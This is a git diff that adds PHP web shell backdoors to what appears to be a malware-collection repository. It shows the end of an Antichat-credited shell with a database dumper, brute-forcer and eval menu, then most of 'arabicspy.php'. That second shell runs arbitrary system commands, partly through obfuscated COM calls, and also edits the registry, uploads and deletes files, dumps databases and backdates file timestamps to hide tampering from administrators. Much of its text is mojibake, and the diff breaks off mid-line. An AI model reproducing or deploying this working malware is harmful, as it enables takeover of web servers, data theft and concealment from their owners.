+������: ��������� : <input type=submit name=exit value='����� �� ����'></form> +<table><tr><td><font color=red>[�������]</font><br></br>"; +} +$res = mysql_list_dbs($serv); +while ($str=mysql_fetch_row($res)){ +$content .= "<table><a href=\"#\" onclick=\"document.dump1.db.value='$str[0]';document.dump1.tbl.value='$str[0]';document.dump1.submit();\">$str[0]</a></table>"; +@$tc++; +} +$content .="<form name='dump1' action='$php_self' method='POST'> +<input type='hidden' name='action' value='$action'> +<input type=hidden name=ac value=sql> +<input name=base value='1' type=hidden> +<input name=db value='$str[0]' type=hidden> +<input name=p value='sql' type=hidden> +<input name=adress value='$adress' type=hidden> +<input name=port value='$port' type=hidden> +<input name=login value='$login' type=hidden> +<input name=pass value='$pass' type=hidden> +<input name=conn value='1' type=hidden> +<input name=tbl value='$str[0]' type=hidden></form>"; + +@$base = $_POST['base']; +@$db = $_POST['db']; +$content .="<br></br><font color=red>[����� ������: $tc]</font>"; +if($base){ +$content .="<br></br><font color=red>�������: [$tbl]</font><br>"; +$result = mysql_list_tables($db); +while($str=mysql_fetch_array($result)){ +$c = mysql_query ("SELECT COUNT(*) FROM $str[0]"); +$records = mysql_fetch_array($c); +$content .="<table><font color=red>[$records[0]]</font><a href=\"#\" onclick=\"document.dump2.vn.value='$str[0]';document.dump2.tbl.value='$str[0]';document.dump2.submit();\">$str[0]</a></table>"; +mysql_free_result($c); +}} +$content .="<form name='dump2' action='$php_self' method='post'> +<input type='hidden' name='action' value='$action'> +<input type=hidden name=ac value=sql> +<input name=inside value='1' type=hidden> +<input name=base value='1' type=hidden> +<input name=vn value='$str[0]' type=hidden> +<input name=db value='$db' type=hidden> +<input name=p value='sql' type=hidden> +<input name=adress value='$adress' type=hidden> +<input name=port value='$port' type=hidden> +<input name=login value='$login' type=hidden> +<input name=pass value='$pass' type=hidden> +<input name=tbl value='$str[0]' type=hidden> +<input name=conn value='1' type=hidden></form>"; + +@$vn = $_POST['vn']; +$content .= "<td valign=top>���� ������: $db => $vn<br>"; +@$inside = $_POST['inside']; +@$tbl = $_POST['tbl']; +if($inside){ +$content .= "<table cellpadding=0 cellspacing=1><tr>"; + +mysql_select_db($db) or die(mysql_error()); +$c = mysql_query ("SELECT COUNT(*) FROM $tbl"); +$cfa = mysql_fetch_array($c); +mysql_free_result($c); +$content .= "�����: $cfa[0]<form name='mysql_dump' action='$php_self' method='post'> +<input type='hidden' name='action' value='$action'> +<input type=hidden name=ac value=sql> +��: <input name=from size=3 value=0> +��: <input name=to size=3 value=$cfa[0]> +<input type=submit name=show value='���������'> +<input type=hidden name=inside value=1> +<input type=hidden name=vn value=$vn> +<input type=hidden name=db value=$db> +<input type=hidden name=login value=$login> +<input type=hidden name=pass value=$pass> +<input type=hidden name=adress value=$adress> +<input type=hidden name=conn value=1> +<input type=hidden name=base value=1> +<input type=hidden name=p value=sql> +<input type=hidden name=tbl value=$tbl> +</form>"; +@$vn = $_POST['vn']; +@$from = $_POST['from']; +@$to = $_POST['to']; +@$from = $_POST['from']; +@$to = $_POST['to']; +if(!isset($from)){ + $from=0; +} +if(!isset($to)){ + $to=50; +} +$query = "SELECT * FROM $vn LIMIT $from,$to"; +$result = mysql_query($query); +for ($i=0;$i<mysql_num_fields($result);$i++){ +$name = mysql_field_name($result,$i); +$content .="<td>&nbsp;</td><td bgcolor=#44474f><font color=red> $name </font></td> "; +} +while($mn = mysql_fetch_array($result, MYSQL_ASSOC)){ +$content .= "<tr>"; +foreach ($mn as $come=>$lee) { +$nst_inside = htmlspecialchars($lee); +$content .= "<td>&nbsp;</td><td bgcolor=#44474f>$nst_inside</td>\r\n"; +} +} +mysql_free_result($result); +$content .= "</table>"; +}}} + +//end function + +?><?=$header;?> + +<table width="100%" bgcolor="#31333b" align="right" border="0" cellspacing="0" cellpadding="0"><tr><td> +<table><tr><td><a href="#" onclick="document.reqs.action.value='shell';document.reqs.dir.value='<?=$dir;?>'; document.reqs.submit();">.| Shell |. </a></td> +<td><a href="#" onclick="document.reqs.action.value='viewer';document.reqs.dir.value='<?=$dir;?>'; document.reqs.submit();">.| Viewer |.</a></td> +<td><a href="#" onclick="document.reqs.action.value='editor';document.reqs.file.value='<?=$file;?>';document.reqs.dir.value='<?=$dir;?>'; document.reqs.submit();">.| Editor |.</a></td> +<td><a href="#" onclick="document.reqs.action.value='upload';document.reqs.dir.value='<?=$dir;?>'; document.reqs.submit();">.| Upload |.</a></td> +<td><a href="#" onclick="document.reqs.action.value='brute';document.reqs.dir.value='<?=$dir;?>'; document.reqs.submit();">.| Brute |.</a></td> +<td><a href="#" onclick="document.reqs.action.value='mysql';document.reqs.dir.value='<?=$dir;?>'; document.reqs.submit();">.| Mysql Dumper|.</a></td> +<td><a href="#" onclick="document.reqs.action.value='phpeval';document.reqs.dir.value='<?=$dir;?>'; document.reqs.submit();">.| Php Eval |.</a></td> +<td><a href="#" onclick="history.back();">.| <-back |.</a></td><td><a href="#" onclick="history.forward();">.| forward->|.</a></td></tr></table> +</td></tr></table> +<br /><form name='reqs' method='POST'><input name='action' type='hidden' value=''><input name='dir' type='hidden' value=''><input name='file' type='hidden' value=''></form> +<table style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#363940 borderColorLight=#c0c0c0 border=1> +<tr><td>Safe mode: <?php echo $safe_mode;?><br>Disable functions: <?php echo $disfunc;?><br>OS: <?php echo @php_uname();?><br>Server: <?php echo @getenv("SERVER_SOFTWARE")?> +<br>Id: <?php echo "Uid=".getmyuid(). " Gid=".getmygid(); ?><br><? echo 'Server: '.@gethostbyname($_SERVER["HTTP_HOST"]).' You: '.$_SERVER['REMOTE_ADDR'].' XFF: '.@gethostbyaddr($HTTP_X_FORWARDED_FOR).' ';?> +<br> Status: <?php echo @$stdata;?></td></tr></table> +<table style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#363940 borderColorLight=#c0c0c0 border=1><tr><td width="100%" valign="top"><?=$content;?> +<br></table> +<TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#44474f BORDER=1 width=100% align=center bordercolor=#808080 bordercolorlight=black bordercolordark=#44474f><tr><td> +<center><font color='#9acd32' face='Tahoma' size = 1><b>| Copyright by <a href="http://www.antichat.ru" title="antichat">Antichat.ru</a> | Made by Grinay | Modified by <s>Go0o$E</s><br/>Last update by <b>Isis</b> |</b></font></center></td></tr></table> + +<?=$footer;?> diff --git a/web-malware-collection-master/Backdoors/PHP/arabicspy.php b/web-malware-collection-master/Backdoors/PHP/arabicspy.php new file mode 100755 index 0000000..02323d0 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/arabicspy.php @@ -0,0 +1,1264 @@ +<?php + +error_reporting(7); +ob_start(); +$mtime = explode(' ', microtime()); +$starttime = $mtime[1] + $mtime[0]; + + +$admin['check'] = "1"; + +$admin['pass'] = "fares1"; + + +$onoff = (function_exists('ini_get')) ? ini_get('register_globals') : get_cfg_var('register_globals'); + +if ($onoff != 1) { + @extract($_POST, EXTR_SKIP); + @extract($_GET, EXTR_SKIP); +} + +$self = $_SERVER['PHP_SELF']; +$dis_func = get_cfg_var("disable_functions"); + + +if($admin['check'] == "1") { + if ($_GET['action'] == "lo???ut") { + setcookie ("adminpass", ""); + echo "<meta http-equiv=\"refresh\" content=\"3;URL=".$self."\">"; + echo "<span style=\"font-size: 12px; font-family: Verdana\">Login Out<p><a href=\"".$self."\">If You Didnt Login Out Yet Press Her &gt;&gt;&gt;</a></span>"; + exit; + } + + if ($_POST['do'] == 'login') { + $thepass=trim($_POST['adminpass']); + if ($admin['pass'] == $thepass) { + setcookie ("adminpass",$thepass,time()+(1*24*3600)); + echo "<meta http-equiv=\"refresh\" content=\"3;URL=".$self."\">"; + echo "<span style=\"font-size: 12px; font-family: Verdana\">Login in.....<p><a href=\"".$self."\">If You Didnt Enter Yet Press Her&gt;&gt;&gt;</a></span>"; + exit; + } + } + if (isset($_COOKIE['adminpass'])) { + if ($_COOKIE['adminpass'] != $admin['pass']) { + loginpage(); + } + } else { + loginpage(); + } +} +if (get_magic_quotes_gpc()) { + $_GET = stripslashes_array($_GET); + $_POST = stripslashes_array($_POST); +} +if ($_GET['action'] == "phpinfo") { + echo $phpinfo=(!eregi("phpinfo",$dis_func)) ? phpinfo() : "phpinfo() ?�E???����??,C��?�&lt;PHP�����???&gt;"; + exit; +} + +if (isset($_POST['url'])) { + $proxycontents = @file_get_contents($_POST['url']); + echo ($proxycontents) ? $proxycontents : "<body bgcolor=\"#F5F5F5\" style=\"font-size: 12px;\"><center><br><p><b>�?E? URL ??E?E��U</b></p></center></body>"; + exit; +} + +if (!empty($downfile)) { + if (!@file_exists($downfile)) { + echo "<script>alert('????IA�?I?�?���?O?!')</script>"; + } else { + $filename = basename($downfile); + $filename_info = explode('.', $filename); + $fileext = $filename_info[count($filename_info)-1]; + header('Content-type: application/x-'.$fileext); + header('Content-Disposition: attachment; filename='.$filename); + header('Content-Description: PHP Generated Data'); + header('Content-Length: '.filesize($downfile)); + @readfile($downfile); + exit; + } +} + +if ($_POST['backuptype'] == 'download') { + @mysql_connect($servername,$dbusername,$dbpassword) or die("E?�??�?��?E��U"); + @mysql_select_db($dbname) or die("??O?E?�??�E��U"); + $table = array_flip($_POST['table']); + $result = mysql_query("SHOW tables"); + echo ($result) ? NULL : "�?�?: ".mysql_error(); + + $filename = basename($_SERVER['HTTP_HOST']."_MySQL.sql"); + header('Content-type: application/unknown'); + header('Content-Disposition: attachment; filename='.$filename); + $mysqldata = ''; + while ($currow = mysql_fetch_array($result)) { + if (isset($table[$currow[0]])) { + $mysqldata.= sqldumptable($currow[0]); + $mysqldata.= $mysqldata."\r\n"; + } + } + mysql_close(); + exit; +} +$pathname=str_replace('\\','/',dirname(__FILE__)); + + +if (!isset($dir) or empty($dir)) { + $dir = "."; + $nowpath = getPath($pathname, $dir); +} else { + $dir=$_GET['dir']; + $nowpath = getPath($pathname, $dir); +} + + +$dir_writeable = (dir_writeable($nowpath)) ? "" : "??? C????CE�"; +$phpinfo=(!eregi("phpinfo",$dis_func)) ? " | <a href=\"?action=phpinfo\" target=\"_blank\">PHPINFO()</a>" : ""; +$reg = (substr(PHP_OS, 0, 3) == 'WIN') ? " | <a href=\"?action=reg\">EC? I??</a>" : ""; + +$tb = new FORMS; + +?> +<html> +<head> +<title>www.securedeath.com</title> +<meta http-equiv="Content-Language" content="ar-sa"> +<meta http-equiv="Content-Type" content="text/html; charset=windows-1256"> +<meta name="GENERATOR" content="SiteMaker"><meta http-equiv="Content-Language" content="ar-sa"> +<meta http-equiv="Content-Type" content="text/html; charset=windows-1256"> +<meta name="GENERATOR" content="SiteMaker"> +<STYLE> +body,td { + font-family: "Tahoma"; + font-size: "12px"; + line-height: "150%"; +} +.smlfont { + font-family: "Tahoma"; + font-size: "11px"; +} +.INPUT { + FONT-SIZE: "12px"; + COLOR: "#000000"; + BACKGROUND-COLOR: "#FFFFFF"; + height: "18px"; + border: "1px solid #666666"; + padding-left: "2px"; +} +.redfont { + COLOR: "#A60000"; +} +a:link,a:visited,a:active { + color: "#000000"; + text-decoration: underline; +} +a:hover { + color: "#465584"; + text-decoration: none; +} +.top {BACKGROUND-COLOR: "#CCCCCC"} +.firstalt {BACKGROUND-COLOR: "#EFEFEF"} +.secondalt {BACKGROUND-COLOR: "#F5F5F5"} +</style> +<SCRIPT language=JavaScript> +function CheckAll(form) { + for (var i=0;i<form.elements.length;i++) { + var e = form.elements[i]; + if (e.name != 'chkall') + e.checked = form.chkall.checked; + } +} +function really(d,f,m,t) { + if (confirm(m)) { + if (t == 1) { + window.location.href='?dir='+d+'&deldir='+f; + } else { + window.location.href='?dir='+d+'&delfile='+f; + } + } +} +</SCRIPT> +</head> + +<body style="table-layout:fixed; word-break:break-all"> +<center> +<?php +$tb->tableheader(); +$tb->tdbody('<table width="98%" border="0" cellpadding="0" cellspacing="0"><tr><td><b>'.$_SERVER['HTTP_HOST'].'</b></td><td align="right"><b>'.$_SERVER['REMOTE_ADDR'].'</b></td></tr></table>','center','top'); +$tb->tdbody('<a href="?action=lo???ut">E???? C?I???</a> | <a href="?action=dir">?U?C? C????CE</a> | <a href="?action=phpenv">?????CE ?? C??????</a> | <a href="?action=proxy">E?????</a>'.$reg.$phpinfo.' | <a href="?action=shell">?C??E C???C??</a> | <a href="?action=sql">??E??C?CE</a> | <a href="?action=sqlbak">?I? ??I? ?C?IE C?E?C?CE</a>'); +$tb->tablefooter(); +?> +<hr width="775" noshade> +<table width="775" border="0" cellpadding="0"> +<? +$tb->headerform(array('method'=>'GET','content'=>'<p>??C?? ??? C??????: '.$pathname.'<br>??? ???? E????'.$dir_writeable.','.substr(base_convert(@fileperms($nowpath),10,8),-4).'): '.$nowpath.'<br>??OC? ???I ? C?II?? ????: '.$tb->makeinput('dir').' '.$tb->makeinput('','???','','submit').' ')); + +$tb->headerform(array('action'=>'?dir='.urlencode($dir),'enctype'=>'multipart/form-data','content'=>'??? ??? ??? C?????: '.$tb->makeinput('uploadfile','','','file').' '.$tb->makeinput('doupfile','???','','submit').$tb->makeinput('uploaddir',$dir,'','hidden'))); + +$tb->headerform(array('action'=>'?action=editfile&dir='.urlencode($dir),'content'=>'??OC? ???: '.$tb->makeinput('editfile').' '.$tb->makeinput('createfile','???','','submit'))); + +$tb->headerform(array('content'=>'??OC? ???I:'.$tb->makeinput('newdirectory').' '.$tb->makeinput('createdirectory','???','','submit'))); +?> +</table> +<hr width="775" noshade> +<?php + +echo "<p><b>\n"; + +if (!empty($delfile)) { + if (file_exists($delfile)) { + echo (@unlink($delfile)) ? $delfile." E��?�E��!" : "I?�?E��?E��U!"; + } else { + echo basename($delfile)." I?�???���?O?!"; + } +} + + +elseif (!empty($deldir)) { + $deldirs="$dir/$deldir"; + if (!file_exists("$deldirs")) { + echo "$deldir ??A�??���?O?!"; + } else { + echo (deltree($deldirs)) ? "??A�E��?�E��!" : "??A�E��?E��U!"; + } +} + + +elseif (($createdirectory) AND !empty($_POST['newdirectory'])) { + if (!empty($newdirectory)) { + $mkdirs="$dir/$newdirectory"; + if (file_exists("$mkdirs")) { + echo "�???A�??�?O?!"; + } else { + echo (@mkdir("$mkdirs",0777)) ? "MoSt3mRE?E E???E ??C C?O? E?C??E " : "����E��U!"; + @chmod("$mkdirs",0777); + } + } +} + + +elseif ($doupfile) { + echo (@copy($_FILES['uploadfile']['tmp_name'],"".$uploaddir."/".$_FILES['uploadfile']['name']."")) ? "EI���E��!" : "EI��E��U!"; +} + + +elseif ($_POST['do'] == 'doeditfile') { + if (!empty($_POST['editfilename'])) { + $filename="$editfilename"; + @$fp=fopen("$filename","w"); + echo $msg=@fwrite($fp,$_POST['filecontent']) ? "?�E�I?�?�E��!" : "?�E�E��U!"; + @fclose($fp); + } else { + echo "C�E?E�I�??�༭�?I?�??�!"; + } +} + + +elseif ($_POST['do'] == 'editfileperm') { + if (!empty($_POST['fileperm'])) { + $fileperm=base_convert($_POST['fileperm'],8,10); + echo (@chmod($dir."/".$file,$fileperm)) ? "E�?O??�?�E��!" : "??�?E��U!"; + echo " I?�? ".$file." ??�???�?E�?OI?: ".substr(base_convert(@fileperms($dir."/".$file),10,8),-4); + } else { + echo "C�E?E�I�??E�??�?E�?O!"; + } +} + + +elseif ($_POST['do'] == 'rename') { + if (!empty($_POST['newname'])) { + $newname=$_POST['dir']."/".$_POST['newname']; + if (@file_exists($newname)) { + echo "".$_POST['newname']." ??���?O?,C�???AE?E�?��?!"; + } else { + echo (@rename($_POST['oldname'],$newname)) ? basename($_POST['oldname'])." �E���??�I? ".$_POST['newname']." !" : "I?�??�??�?E��U!"; + } + } else { + echo "C�E?E�I�??�?�?I?�??�!"; + } +} + + +elseif ($_POST['do'] == 'domodtime') { + if (!@file_exists($_POST['curfile'])) { + echo "????�?�?I?�?���?O?!"; + } else { + if (!@file_exists($_POST['tarfile'])) { + echo "??�I??�?I?�?���?O?!"; + } else { + $time=@filemtime($_POST['tarfile']); + echo (@touch($_POST['curfile'],$time,$time)) ? basename($_POST['curfile'])." �???�?E��?�E���?I? ".date("Y-m-d H:i:s",$time)." !" : "I?�?�???�?E��???�?E��U!"; + } + } +} + + +elseif ($_POST['do'] == 'modmytime') { + if (!@file_exists($_POST['curfile'])) { + echo "????�?�?I?�?���?O?!"; + } else { + $year=$_POST['year']; + $month=$_POST['month']; + $data=$_POST['data']; + $hour=$_POST['hour']; + $minute=$_POST['minute']; + $second=$_POST['second']; + if (!empty($year) AND !empty($month) AND !empty($data) AND !empty($hour) AND !empty($minute) AND !empty($second)) { + $time=strtotime("$data $month $year $hour:$minute:$second"); + echo (@touch($_POST['curfile'],$time,$time)) ? basename($_POST['curfile'])." �???�?E��?�E���?I? ".date("Y-m-d H:i:s",$time)." !" : "I?�?�???�?E��???�?E��U!"; + } + } +} + +elseif ($connect) { + if (@mysql_connect($servername,$dbusername,$dbpassword) AND @mysql_select_db($dbname)) { + echo "E? C??E?C? E??C?"; + mysql_close(); + } else { + echo mysql_error(); + } +} + + +elseif ($_POST['do'] == 'query') { + @mysql_connect($servername,$dbusername,$dbpassword) or die("E?�??�?��?E��U"); + @mysql_select_db($dbname) or die("??O?E?�??�E��U"); + $result = @mysql_query($_POST['sql_query']); + echo ($result) ? "SQL?�?�E��?�??!" : "�?�?: ".mysql_error(); + mysql_close(); +} + +elseif ($_POST['do'] == 'backupmysql') { + if (empty($_POST['table']) OR empty($_POST['backuptype'])) { + echo "C�??O??����?�?E?�?�???���?��E�!"; + } else { + if ($_POST['backuptype'] == 'server') { + @mysql_connect($servername,$dbusername,$dbpassword) or die("E?�??�?��?E��U"); + @mysql_select_db($dbname) or die("??O?E?�??�E��U"); + $table = array_flip($_POST['table']); + $filehandle = @fopen($path,"w"); + if ($filehandle) { + $result = mysql_query("SHOW tables"); + echo ($result) ? NULL : "�?�?: ".mysql_error(); + while ($currow = mysql_fetch_array($result)) { + if (isset($table[$currow[0]])) { + sqldumptable($currow[0], $filehandle); + fwrite($filehandle,"\n\n\n"); + } + } + fclose($filehandle); + echo "E?�??�??�E�����?�� <a href=\"".$path."\" target=\"_blank\">".$path."</a>"; + mysql_close(); + } else { + echo "���?E��U,C�E�EI??��I?�?�?EC�?�????E?�E�I?!"; + } + } + } +} + + +elseif($downrar) { + if (!empty($dl)) { + $dfiles=""; + foreach ($dl AS $filepath=>$value) { + $dfiles.=$filepath.","; + } + $dfiles=substr($dfiles,0,strlen($dfiles)-1); + $dl=explode(",",$dfiles); + $zip=new PHPZip($dl); + $code=$zip->out; + header("Content-type: application/octet-stream"); + header("Accept-Ranges: bytes"); + header("Accept-Length: ".strlen($code)); + header("Content-Disposition: attachment;filename=".$_SERVER['HTTP_HOST']."_Files.tar.gz"); + echo $code; + exit; + } else { + echo "C�??O???�?��IAO?�?I?�?!"; + } +} + +elseif(($_POST['do'] == 'programrun') AND !empty($_POST['program'])) { + $shell= &new COM('Sh'.'el'.'l.Appl'.'ica'.'tion'); + $a = $shell->ShellExecute($_POST['program'],$_POST['prog']); + echo ($a=='0') ? "�?????���E��?�??!" : "�???OE??E��U!"; +} + + +elseif(($_POST['do'] == 'viewphpvar') AND !empty($_POST['phpvarname'])) { + echo "????�IE? ".$_POST['phpvarname']." �?��?��: ".getphpcfg($_POST['phpvarname']).""; +} + + +elseif(($regread) AND !empty($_POST['readregname'])) { + $shell= &new COM('WSc'.'rip'.'t.Sh'.'ell'); + var_dump(@$shell->RegRead($_POST['readregname'])); +} + + +elseif(($regwrite) AND !empty($_POST['writeregname']) AND !empty($_POST['regtype']) AND !empty($_POST['regval'])) { + $shell= &new COM('W'.'Scr'.'ipt.S'.'hell'); + $a = @$shell->RegWrite($_POST['writeregname'], $_POST['regval'], $_POST['regtype']); + echo ($a=='0') ? "?�E�ע�?�?�??��E��!" : "?�E� ".$_POST['regname'].", ".$_POST['regval'].", ".$_POST['regtype']." E��U!"; +} + + +elseif(($regdelete) AND !empty($_POST['delregname'])) { + $shell= &new COM('WS'.'cri'.'pt.S'.'he'.'ll'); + $a = @$shell->RegDelete($_POST['delregname']); + echo ($a=='0') ? "E��?ע�?�?�??��E��!" : "E��? ".$_POST['delregname']." E��U!"; +} + +else { + echo "MoSt3mRE?E E???E ??C C?O? ??? C??UE C???E?E E?C??E "; +} + +echo "</b></p>\n"; + +if (!isset($_GET['action']) OR empty($_GET['action']) OR ($_GET['action'] == "dir")) { + $tb->tableheader(); +?> + <tr bgcolor="#cccccc"> + <td align="center" nowrap width="27%"><b>C????ICE ? C????CE</b></td> + <td align="center" nowrap width="16%"><b>??E C???OC?</b></td> + <td align="center" nowrap width="16%"><b>AI? E?I??</b></td> + <td align="center" nowrap width="11%"><b>C????</b></td> + <td align="center" nowrap width="6%"><b>C?E????</b></td> + <td align="center" nowrap width="24%"><b>C????</b></td> + </tr> +<?php + +$dirs=@opendir($dir); +$dir_i = '0'; +while ($file=@readdir($dirs)) { + $filepath="$dir/$file"; + $a=@is_dir($filepath); + if($a=="1"){ + if($file!=".." && $file!=".") { + $ctime=@date("Y-m-d H:i:s",@filectime($filepath)); + $mtime=@date("Y-m-d H:i:s",@filemtime($filepath)); + $dirperm=substr(base_convert(fileperms($filepath),10,8),-4); + echo "<tr class=".getrowbg().">\n"; + echo " <td style=\"padding-left: 5px;\">[<a href=\"?dir=".urlencode($dir)."/".urlencode($file)."\"><font color=\"#006699\">$file</font></a>]</td>\n"; + echo " <td align=\"center\" nowrap class=\"smlfont\">$ctime</td>\n"; + echo " <td align=\"center\" nowrap class=\"smlfont\">$mtime</td>\n"; + echo " <td align=\"center\" nowrap class=\"smlfont\">&lt;dir&gt;</td>\n"; + echo " <td align=\"center\" nowrap class=\"smlfont\"><a href=\"?action=fileperm&dir=".urlencode($dir)."&file=".urlencode($file)."\">$dirperm</a></td>\n"; + echo " <td align=\"center\" nowrap><a href=\"#\" onclick=\"really('".urlencode($dir)."','".urlencode($file)."','?? ??E ?E??I ?? ??? ??C C????','1')\">???</a></td>\n"; + echo "</tr>\n"; + $dir_i++; + } else { + if($file=="..") { + echo "<tr class=".getrowbg().">\n"; + echo " <td nowrap colspan=\"6\" style=\"padding-left: 5px;\"><a href=\"?dir=".urlencode($dir)."/".urlencode($file)."\">up</a></td>\n"; + echo "</tr>\n"; + } + } + } +}// while +@closedir($dirs); +?> +<tr bgcolor="#cccccc"> + <td colspan="6" height="5"></td> +</tr> +<FORM action="" method="POST"> +<? + +$dirs=@opendir($dir); +$file_i = '0'; +while ($file=@readdir($dirs)) { + $filepath="$dir/$file"; + $a=@is_dir($filepath); + if($a=="0"){ + $size=@filesize($filepath); + $size=$size/1024 ; + $size= @number_format($size, 3); + if (@filectime($filepath) == @filemtime($filepath)) { + $ctime=@date("Y-m-d H:i:s",@filectime($filepath)); + $mtime=@date("Y-m-d H:i:s",@filemtime($filepath)); + } else { + $ctime="<span class=\"redfont\">".@date("Y-m-d H:i:s",@filectime($filepath))."</span>"; + $mtime="<span class=\"redfont\">".@date("Y-m-d H:i:s",@filemtime($filepath))."</span>"; + } + @$fileperm=substr(base_convert(@fileperms($filepath),10,8),-4); + echo "<tr class=".getrowbg().">\n"; + echo " <td style=\"padding-left: 5px;\">"; + echo "<INPUT type=checkbox value=1 name=dl[$filepath]>"; + echo "<a href=\"$filepath\" target=\"_blank\">$file</a></td>\n"; + echo " <td align=\"center\" nowrap class=\"smlfont\">$ctime</td>\n"; + echo " <td align=\"center\" nowrap class=\"smlfont\">$mtime</td>\n"; + echo " <td align=\"right\" nowrap class=\"smlfont\"><span class=\"redfont\">$size</span> KB</td>\n"; + echo " <td align=\"center\" nowrap class=\"smlfont\"><a href=\"?action=fileperm&dir=".urlencode($dir)."&file=".urlencode($file)."\">$fileperm</a></td>\n"; + echo " <td align=\"center\" nowrap><a href=\"?downfile=".urlencode($filepath)."\">E????</a> | <a href=\"?action=editfile&dir=".urlencode($dir)."&editfile=".urlencode($file)."\">E????</a> | <a href=\"#\" onclick=\"really('".urlencode($dir)."','".urlencode($filepath)."','$file ?? ??E ?E??I ?? ???')\">????</a> | <a href=\"?action=rename&dir=".urlencode($dir)."&fname=".urlencode($filepath)."\">??CIE C?E???E</a> | <a href=\"?action=newtime&dir=".urlencode($dir)."&file=".urlencode($filepath)."\">E???? C???E</a></td>\n"; + echo "</tr>\n"; + $file_i++; + } +}// while +@closedir($dirs); +$tb->tdbody('<table width="100%" border="0" cellpadding="2" cellspacing="0" align="center"><tr><td>'.$tb->makeinput('chkall','on','onclick="CheckAll(this.form)"','checkbox','30','').' '.$tb->makeinput('downrar','?I? ??I?','','submit').'</td><td align="right">'.$dir_i.' Dir / '.$file_i.' File?</td></tr></table>','center',getrowbg(),'','','6'); + +echo "</FORM>\n"; +echo "</table>\n"; +}// end dir + +elseif ($_GET['action'] == "editfile") { + if(empty($newfile)) { + $filename="$dir/$editfile"; + $fp=@fopen($filename,"r"); + $contents=@fread($fp, filesize($filename)); + @fclose($fp); + $contents=htmlspecialchars($contents); + }else{ + $editfile=$newfile; + $filename = "$dir/$editfile"; + } + $action = "?dir=".urlencode($dir)."&editfile=".$editfile; + $tb->tableheader(); + $tb->formheader($action,'Edit File?'); + $tb->tdbody('The File You Want To Edit?: '.$tb->makeinput('editfilename',$filename).' Be Happy?'); + $tb->tdbody($tb->maketextarea('filecontent',$contents)); + $tb->makehidden('do','doeditfile'); + $tb->formfooter('1','30'); +}//end editfile + +elseif ($_GET['action'] == "rename") { + $nowfile = (isset($_POST['newname'])) ? $_POST['newname'] : basename($_GET['fname']); + $action = "?dir=".urlencode($dir)."&fname=".urlencode($fname); + $tb->tableheader(); + $tb->formheader($action,'Rename File'); + $tb->makehidden('oldname',$dir."/".$nowfile); + $tb->makehidden('dir',$dir); + $tb->tdbody('Baset Name: '.basename($nowfile)); + $tb->tdbody('New Name: '.$tb->makeinput('newname')); + $tb->makehidden('do','rename'); + $tb->formfooter('1','30'); +}//end rename + +elseif ($_GET['action'] == "fileperm") { + $action = "?dir=".urlencode($dir)."&file=".$file; + $tb->tableheader(); + $tb->formheader($action,'?Chembo File'); + $tb->tdbody('Chang Chembo Of This To: '.$tb->makeinput('fileperm',substr(base_convert(fileperms($dir.'/'.$file),10,8),-4))); + $tb->makehidden('file',$file); + $tb->makehidden('dir',urlencode($dir)); + $tb->makehidden('do','editfileperm'); + $tb->formfooter('1','30'); +}//end fileperm + +elseif ($_GET['action'] == "newtime") { + $action = "?dir=".urlencode($dir); + $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12); + $tb->tableheader(); + $tb->formheader($action,'Chang File'); + $tb->tdbody("From?: ".$tb->makeinput('curfile',$file,'readonly')." To: ".$tb->makeinput('tarfile','?�?�?�?�A�����I?�??�'),'center','2','30'); + $tb->makehidden('do','domodtime'); + $tb->formfooter('','30'); + $tb->formheader($action,'Chang Time'); + $tb->tdbody('<br><ul><li>You Can Chang The Time Of Any File You Want Whith</li><li>You Can Chang The Time Of Any File To Let The Admin Dont Think Abut It</li></ul>','left'); + $tb->tdbody('The File Is: '.$file); + $tb->makehidden('curfile',$file); + $tb->tdbody('Year: '.$tb->makeinput('year','1984','','text','4').' Month'.$tb->makeselect(array('name'=>'month','option'=>$cachemonth,'selected'=>'October')).'Day '.$tb->makeinput('data','18','','text','2').' hour '.$tb->makeinput('hour','20','','text','2').' minute '.$tb->makeinput('minute','00','','text','2').' second '.$tb->makeinput('second','00','','text','2').' ','center','2','30'); + $tb->makehidden('do','modmytime'); + $tb->formfooter('1','30'); +}//end newtime + +elseif ($_GET['action'] == "shell") { + $action = "??action=shell&dir=".urlencode($dir); + $tb->tableheader(); + $tb->tdheader('WebShell Mode'); + + if (substr(PHP_OS, 0, 3) == 'WIN') { + $program = isset($_POST['program']) ? $_POST['program'] : "c:\winnt\system32\cmd.exe"; + $prog = isset($_POST['prog']) ? $_POST['prog'] : "/c net start > ".$pathname."/log.txt"; + echo "<form action=\"?action=shell&dir=".urlencode($dir)."\" method=\"POST\">\n"; + $tb->tdbody('The Program That Make Comand'.$tb->makeinput('program',$program).' To See Log '.$tb->makeinput('prog',$prog,'','text','40').' '.$tb->makeinput('','Run','','submit'),'center','2','35'); + $tb->makehidden('do','programrun'); + echo "</form>\n"; + } + + echo "<form action=\"?action=shell&dir=".urlencode($dir)."\" method=\"POST\">\n"; + $tb->tdbody('Her You Can Do Any Comand To The Searver.'); + + $execfuncs = (substr(PHP_OS, 0, 3) == 'WIN') ? array('system'=>'system','passthru'=>'passthru','exec'=>'exec','shell_exec'=>'shell_exec','popen'=>'popen','wscript'=>'Wscript.Shell') : array('system'=>'system','passthru'=>'passthru','exec'=>'exec','shell_exec'=>'shell_exec','popen'=>'popen'); + + $tb->tdbody('The Mode '.$tb->makeselect(array('name'=>'execfunc','option'=>$execfuncs,'selected'=>$execfunc)).' The Comand'.$tb->makeinput('command',$_POST['command'],'','text','60').' '.$tb->makeinput('','Run','','submit')); +?> + <tr class="secondalt"> + <td align="center"><textarea name="textarea" cols="100" rows="25" readonly><?php + if (!empty($_POST['command'])) { + if ($execfunc=="system") { + system($_POST['command']); + } elseif ($execfunc=="passthru") { + passthru($_POST['command']); + } elseif ($execfunc=="exec") { + $result = exec($_POST['command']); + echo $result; + } elseif ($execfunc=="shell_exec") { + $result=shell_exec($_POST['command']); + echo $result; + } elseif ($execfunc=="popen") { + $pp = popen($_POST['command'], 'r'); + $read = fread($pp, 2096); + echo $read; + pclose($pp); + } elseif ($execfunc=="wscript") { + $wsh = new COM('W'.'Scr'.'ip'.'t.she'.'ll') or die("PHP Create COM 